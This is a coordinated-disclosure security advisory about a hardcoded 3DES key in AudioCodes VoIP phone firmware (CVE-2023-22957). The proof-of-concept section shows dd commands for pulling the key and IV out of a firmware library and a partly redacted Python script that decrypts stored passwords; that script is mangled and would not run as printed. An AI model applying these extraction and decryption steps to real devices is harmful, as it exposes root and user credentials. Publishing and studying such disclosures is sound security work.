Security
Headlines
HeadlinesLatestCVEs

Headline

AudioCodes VoIP Phones Hardcoded Key

The AudioCodes VoIP phones store sensitive information, e.g. credentials and passwords, in encrypted form in their configuration files. These encrypted values can also be automatically configured, e.g. via the “One Voice Operation Center” or other central device management solutions. Due to the use of a hardcoded cryptographic key, an attacker with access to these configuration files is able to decrypt the encrypted values and retrieve sensitive information, e.g. the device root password. Firmware versions greater than or equal to 3.4.8.M4 are affected.

Packet Storm
#vulnerability#web#js#pdf#auth

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2022-052
Product: AudioCodes VoIP Phones
Manufacturer: AudioCodes Ltd.
Affected Version(s): Firmware Versions >= 3.4.8.M4
Tested Version(s): Firmware Version 3.4.4.1000
Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2022-11-11
Solution Date: N.A.
Public Disclosure: 2023-08-10
CVE Reference: CVE-2023-22957
Author of Advisory: Moritz Abrell, SySS GmbH


Overview:

AudioCodes VoIP phones are modern desk phones which are used for the  
operation in enterprise environments.

The manufacturer describes the product as follows (see [1]):

"The AudioCodes 400HD series of IP phones is a range of easy-to-use,  
feature-rich desktop devices for the service provider hosted services,  
enterprise IP telephony and contact center markets. Based on the same  
advanced, field-proven underlying technology as our other VoIP products,  
AudioCodes high quality IP phones enable systems integrators and end  
customers to build end-to-end VoIP solutions."

Vulnerability Details:

The AudioCodes VoIP phones store sensitive information, e.g. credentials
and passwords, in encrypted form in their configuration files.
These encrypted values can also be automatically configured, e.g. via
the “One Voice Operation Center” or other central device management solutions.

Due to the use of a hardcoded cryptographic key, an attacker with
access to these configuration files is able to decrypt the encrypted
values and retrieve sensitive information, e.g. the device root password.


Proof of Concept (PoC):

By analyzing the shared library "libac_des3.so" of an AudioCodes IP phone  
firmware in a disassembler and decompiler, e.g. Ghidra, the encryption  
mechanism could be reversed and the hardcoded cryptographic key could be  
extracted.

Used encryption algorithm: Triple DES in CBC mode  
Memory address of the 24-byte 3DES key in the library: 00000fb8  
Memory address of the 8-byte 3DES IV: 00000fb0

Extracting the key:  
     #> offset=$(python3 -c 'print(int("00000fb8", base=16))')  
     #> dd skip=$offset count=24 if=libac_des3.so of=key.bin bs=1

Extracting the IV:  
     #> offset=$(python3 -c 'print(int("00000fb0", base=16))')  
     #> dd skip=$offset count=8 if=libac_des3.so of=iv.bin bs=1

The following proof-of-concept Python script can be used for decryption:

   import sys  
   import base64  
   from Crypto.Cipher import DES3  
   from binascii import unhexlify

      coded_string = sys.argv[1]

      ciphertext = base64.b64decode(coded_string)

      print("cipher text: " + str(hexlify(ciphertext)))

            cipher = DES3.new(  
       unhexlify('604075fb509b8269[...]'),  
       DES3.MODE_CBC,  
       iv=unhexlify('a3a47c5b[...]')  
   )

      plaintext = cipher.decrypt(ciphertext)

      print("plain text: " + str(plaintext.decode('utf-8')))

Execution of the proof-of-concept script:  
     #> python decrypt.py kUqyNmIT1cDyBwGTu6J1Dw==

          cipher text: b'914ab2366213d5c0f2070193bba2750f'  
     plain text: S3cr3tP455w0rd

Solution:

Update devices to firmware version 3.4.8.M4 and define an individual and
strong secret from which the encryption key is derived.


Disclosure Timeline:

2022-11-03: Vulnerability discovered  
2022-11-11: Vulnerability reported to manufacturer  
2022-12-12: Vulnerability confirmed by AudioCodes Ltd.  
2023-01-19: AudioCodes Ltd. adapts the documentation so that it no  
             longer states that the passwords are encrypted but obfuscated  
2023-07-13: AudioCodes Ltd. informs that the upcoming release 3.4.8.M4  
             will include a feature that allows setting a custom password  
             from which the key will be derived  
2023-08-10: Public disclosure at BlackHat USA[5]  
2023-08-11: Public disclosure athttps://blog.syss.com[6]

References:

[1] AudioCodes IP Phones Product Website
https://www.audiocodes.com/solutions-products/products/ip-phones
[2] AudioCodes One Voice Operation Center User’s Manual
https://www.audiocodes.com/media/15928/one-voice-operations-center-users-manual-ver-80.pdf
[3] SySS Security Advisory SYSS-2022-052
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-052.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[5] BlackHat USA Briefings Session
https://www.blackhat.com/us-23/briefings/schedule/#zero-touch-pwn-abusing-zooms-zero-touch-provisioning-for-remote-attacks-on-desk-phones-31341
[6] Detailed Blog Post
https://blog.syss.com/posts/zero-touch-pwn/


Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail:[email protected]  
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc  
Key Fingerprint: 2927 7EB6 1A20 0679 79E9  87E6 AE0C 9BF8 F134 8B53

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.


Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL:http://creativecommons.org/licenses/by/3.0/deed.en  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmS30TAACgkQrgyb+PE0  
i1N8GxAApaOTpxCxcZEf1CMXW3IHbOcmK1v2gFTA/MYUMKgfFT/UG6O+GeAaEWzZ  
vLkKlgxiEasllTplNr0TigNxIWIeQWTM57uIW8KeBOYMUwtYVkx0kr5NinnAjjyP  
mLgn+8A9JJsqX/gr53p5Km8cyzgxNBWWHOWeS88wb/55jjOsBY/YAohEhKY7c9sM  
zPj257Xij99D3hsaGYPVh1ZeaVab20h7fea5aIC1DqtEiadlgsj9MuLMVA4lCS0J  
7Cv+/7KFgyujhYcy1pgQwXutSSp8hKHZGmIV2uOjm77ymVmBhX0zRG8hAX21BQBw  
ExJM5fNRD17yI+6zun+7t37Fz0yTJ3YcIGC8ZECWHijkuLJG6yqowhk1Rsn2mATH  
CndgGxe8qXjAPFuiZyUI+s1rfXu3iRVKaDaA0xpO/hVWFxBVqjR0awKEbU7oC5Zp  
uzsun0kuhDuJ2WXeYWnSywZLXlqTPQhFTBEIapyAUiZMpoCKgDZYxCv/GeolsA1u  
lfV631ryBPMZ/f6LjxDgqKGQoQCSISXjg4Bt6Ug587yhc0MMYvHequ/v5LeRpSoC  
umtwSZHPdeXZC8/uhfH4K7ad62q/6BQMZyObF3gUIrwWXWUM2ow1UXN9T7Wsw0+j  
n82nbE/ymMGyJvcE+cApLPlzmQuHOOdAX4EBLVDAiBQCVfIMjbM=  
=uvQN  
-----END PGP SIGNATURE-----

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6